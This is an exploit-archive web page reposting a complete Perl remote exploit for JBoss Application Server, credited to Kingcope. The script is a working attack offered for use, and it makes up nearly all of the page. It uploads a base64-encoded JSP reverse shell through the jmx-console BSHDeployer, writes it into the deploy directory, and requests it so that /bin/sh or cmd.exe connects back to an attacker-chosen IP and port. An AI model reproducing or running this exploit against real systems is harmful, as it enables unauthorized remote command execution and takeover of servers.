首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
JBoss Application Server Remote Exploit
来源:vfocus.net 作者:Kingcope 发布时间:2011-03-07  

#JBoss AS Remote Exploit
#by Kingcope
#####

use IO::Socket;
use LWP::UserAgent;
use URI::Escape;
use MIME::Base64;

sub usage {
 print "JBoss AS Remote Exploit\nby Kingcope\n\nusage: perl jboss.pl <target> <targetport> <yourip> <yourport> <win/lnx>\n";
 print "example: perl daytona.pl 192.168.2.10 8080 192.168.2.2 443 lnx\n";
 exit;
}

if ($#ARGV != 4) { usage; }

$host = $ARGV[0];
$port = $ARGV[1];
$myip = $ARGV[2];
$myport = $ARGV[3];
$com = $ARGV[4];

if ($com eq "lnx") {
 $comspec = "/bin/sh";
}

if ($com eq "win") {
 $comspec = "cmd.exe";
}

$|=1;

$jsp="
<%@
page import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"
%>
   <%!
    static class StreamConnector extends Thread
    {
     InputStream is;
     OutputStream os;

     StreamConnector( InputStream is, OutputStream os )
     {
      this.is = is;
      this.os = os;
     }

     public void run()
     {
      BufferedReader in  = null;
      BufferedWriter out = null;
      try
      {
       in  = new BufferedReader( new InputStreamReader( this.is ) );
       out = new BufferedWriter( new OutputStreamWriter( this.os ) );
       char buffer[] = new char[8192];
       int length;
       while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
       {
        out.write( buffer, 0, length );
        out.flush();
       }
      } catch( Exception e ){}
      try
      {
       if( in != null )
        in.close();
       if( out != null )
        out.close();
      } catch( Exception e ){}
     }
    }
   %>
   <%
    try
    {
     Socket socket = new Socket( \"$myip\", $myport );
     Process process = Runtime.getRuntime().exec( \"$comspec\" );
     ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
     ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
    } catch( Exception e ) {}
   %>";

#print $jsp;exit;

srand(time());

sub randstr
{
 my $length_of_randomstring=shift;# the length of
    # the random string to generate

 my @chars=('a'..'z','A'..'Z','0'..'9','_');
 my $random_string;
 foreach (1..$length_of_randomstring)
 {
  # rand @chars will generate a random
  # number between 0 and scalar @chars
  $random_string.=$chars[rand @chars];
 }
 return $random_string;
}

$appbase = randstr(8);
$jspname = randstr(8);

print "APPBASE=$appbase\nJSPNAME=$jspname\n";

$bsh_script =
qq{import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "} . encode_base64($jsp, "") .  qq{";

BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/} . $appbase . ".war" . qq{").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/} . $appbase . ".war/" . $jspname . ".jsp" . qq{";
FileOutputStream fstream = new FileOutputStream(jsp_file);
fstream.write(byteval);
fstream.close(); };

#
# UPLOAD
#
   
$params = 'action=invokeOpByName&name=jboss.deployer:service=BSHDeployer&methodName=createScriptDeployment&argType=java.lang.String&arg0=' . uri_escape($bsh_script)
.
'&argType=java.lang.String&arg1=' . randstr(8) . '.bsh';

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");

my $req = HTTP::Request->new(POST => "http://$host:$port/jmx-console/HtmlAdaptor");
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($params);
  
  print "UPLOAD... ";
  my $res = $ua->request($req);

  if ($res->is_success) {
      print "SUCCESS\n";
      print "EXECUTE";
      sleep(5);
      $uri = '/' . $appbase . '/' . $jspname . '.jsp';
     
      for ($k=0;$k<10;$k++) {
      my $ua = LWP::UserAgent->new;
   $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
   my $req = HTTP::Request->new(GET => "http://$host:$port$uri");
   my $res = $ua->request($req);

    if ($res->is_success) {
     print "\nSUCCESS\n";
     exit;
    } else {
     print ".";
#          print $res->status_line."\n";

     sleep(5);
    }
   }
      print "UNSUCCESSFUL\n";
  }
  else {
   print "UNSUCCESSFUL\n";
      print $res->status_line, "\n";
      exit;
  }

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP Speedy <= 0.5.2 Wordpress
·Comtrend ADSL Router CT-5367 C
·NetSupport Manager Agent Remot
·iPod Touch/iPhone iFileExplore
·Citrix Access Gateway Command
·Vtiger CRM 5.0.4 Pre-Auth Loca
·Allied Telesyn TFTP Server 1.9
·TIOD v1.3.3 for iPhone / iPod
·win32 eggsearch shellcode (33
·EggAvatar for vBulletin 3.8.x
·cChatBox for vBulletin 3.6.8 a
·Novell iPrint Client ActiveX C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved